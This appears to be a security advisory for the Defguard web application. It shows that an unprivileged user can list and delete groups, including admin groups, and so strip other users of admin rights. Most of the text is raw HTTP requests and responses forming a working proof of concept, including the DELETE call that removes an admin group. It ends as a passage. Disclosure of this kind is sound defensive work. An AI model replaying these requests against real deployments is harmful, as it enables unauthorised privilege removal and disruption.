You can track the status of this issue via the GitHub link below. If you wish, you may also subscribe there to receive notifications about its resolution.
Technical details
In regards to Defguard web application (core functionality), we were
able to discover broken vertical access control, where standard (not
privileged) user is able to both - list and remove groups.
Such possibility is especially impactful when considering ability to
remove admin group. This action can successfully degrade admin users to
standard users - potentially rendering whole application unusable.
To showcase this vulnerability, unprivileged user test_user with
defguard_session=4yzkAwO05vwM57Lq6hRn52ae will be used:
Request:
GET /api/v1/me HTTP/2
Host: defguard.dvpnsec.net
Cookie: defguard_session=4yzkAwO05vwM57Lq6hRn52ae
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/138.0.0.0 Safari/537.36
Referer: https**://defguard.dvpnsec.net/activity
Response:
HTTP/2 200 OK
Alt-Svc: h3=“:443”; ma=2592000
Content-Type: application/json
Date: Thu, 07 Aug 2025 13:30:**25 GMT
Server: Caddy
X-Defguard-Version: 1.5.0-a29ac10
Content-Length: 370\
{
"authorized_apps ": [],
"email ": "skosdsfjsijfisjiajfusfh7373263662hsdsydyysydysydysy+test_user@yopmail.com ",
"email_mfa_enabled ": false,
"enrolled ": true,
"first_name ": "Test ",
"groups ": [],
"id ": 50,
"is_active ": true,
"is_admin ": false,
"last_name ": "User ",
"ldap_pass_requires_change ": false,
"mfa_enabled ": false,
"mfa_method ": "None ",
"phone ": " ",
"totp_enabled ": false,
"username ": "test_user "
}
Based on the server’s response above - we can clearly confirm that
test_user is not an admin user (“is_admin”: false,).
Nonetheless, test_user is able to:
List groups:
Request:
GET /api/v1/group HTTP/2
Host: defguard.dvpnsec.net
Cookie: defguard_session=4yzkAwO05vwM57Lq6hRn52ae
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/138.0.0.0 Safari/537.36
Referer: https**://defguard.dvpnsec.net/me
Response:
HTTP/2 200 OK
Alt-Svc: h3=“:443”; ma=2592000
Content-Type: application/json
Date: Thu, 07 Aug 2025 13:43:25 GMT
Server: Caddy
X-Defguard-Version: 1.5.0-a29ac10
Content-Length: 38
{“groups”:**[“admin”,“onlyAdminsGroup”]}
Delete onlyAdminsGroup group:
Request:
DELETE /api/v1/group/onlyAdminsGroup HTTP/2
Host: defguard.dvpnsec.net
Cookie: defguard_session=4yzkAwO05vwM57Lq6hRn52ae
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/138.0.0.0 Safari/537.36
Origin: https**://defguard.dvpnsec.net
Referer: https://defguard.dvpnsec.net/admin/groups
Response:
HTTP/2 200 OK
Alt-Svc: h3=“:443”; ma=2592000
Content-Type: application/json
Date: Thu, 07 Aug 2025 13:45:**51 GMT
Server: Caddy
X-Defguard-Version: 1.5.0-a29ac10
Content-Length: 4
null
Proof that group is gone:
Request:
GET /api/v1/group HTTP/2
Host: defguard.dvpnsec.net
Cookie: defguard_session=4yzkAwO05vwM57Lq6hRn52ae
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/138.0.0.0 Safari/537.36
Referer: https**://defguard.dvpnsec.net/me
Response:
HTTP/2 200 OK
Alt-Svc: h3=“:443”; ma=2592000
Content-Type: application/json
Date: Thu, 07 Aug 2025 13:46:45 GMT
Server: Caddy
X-Defguard-Version: 1.5.0-a29ac10
Content-Length: 20
{“groups”:**[“admin”]}
Proof in activity log (admin_user session cookie was used):
Request:
GET
/api/v1/activity_log?page=1&sort_order=desc&sort_by=timestamp&search=onlyAdminsGroup&from=2025-08-01T00%3A00%3A00.000Z
HTTP/2
Host: defguard.dvpnsec.net
Cookie: defguard_session=TV5mN9u4k5KWG2ONbS6A0fh2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/138.0.0.0 Safari/537.36
Referer: https**://defguard.dvpnsec.net/activity
Response:
HTTP/2 200 OK
Alt-Svc: h3=“:443”; ma=2592000
Date: Thu, 07 Aug 2025 13:51:**18 GMT
Server: Caddy
X-Defguard-Version: 1.5.0-a29ac10
Content-Type: text/plain; charset=utf-8
Content-Length: 1224\
{
"data": [
{
"id": 180288,
"timestamp": "2025-08-07T13:45:51.474721",
"user_id": 50,
"username": "test_user",
"location": null,
"ip": "167.172.191.17/32",
"event": "group_removed",
"module": "defguard",
"device": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36",
"description": "Removed group onlyAdminsGroup"
},
{
"id": 180284,
"timestamp": "2025-08-07T13:43:49.971672",
"user_id": 35,
"username": "admin_user",
"location": null,
"ip": "167.172.191.17/32",
"event": "user_groups_modified",
"module": "defguard",
"device": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36",
"description": "User groups modified! User: admin2_user Before: [\"admin\", \"onlyAdminsGroup\"] After: [\"onlyAdminsGroup\"]"
},
{
"id": 180282,
"timestamp": "2025-08-07T13:30:04.257209",
"user_id": 35,
"username": "admin_user",
"location": null,
"ip": "167.172.191.17/32",
"event": "group_added",
"module": "defguard",
"device": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36",
"description": "Added group onlyAdminsGroup"
}
],
"pagination": {
"current_page": 1,
"page_size": 50,
"total_items": 3,
"total_pages": 1,
"next_page": null
}
}
Lastly, we were able to confirm, that admin2_user who was exclusively in
onlyAdminsGroup - lost his admin privileges thanks to the unauthorised
test_user’s onlyAdminsGroup removal:
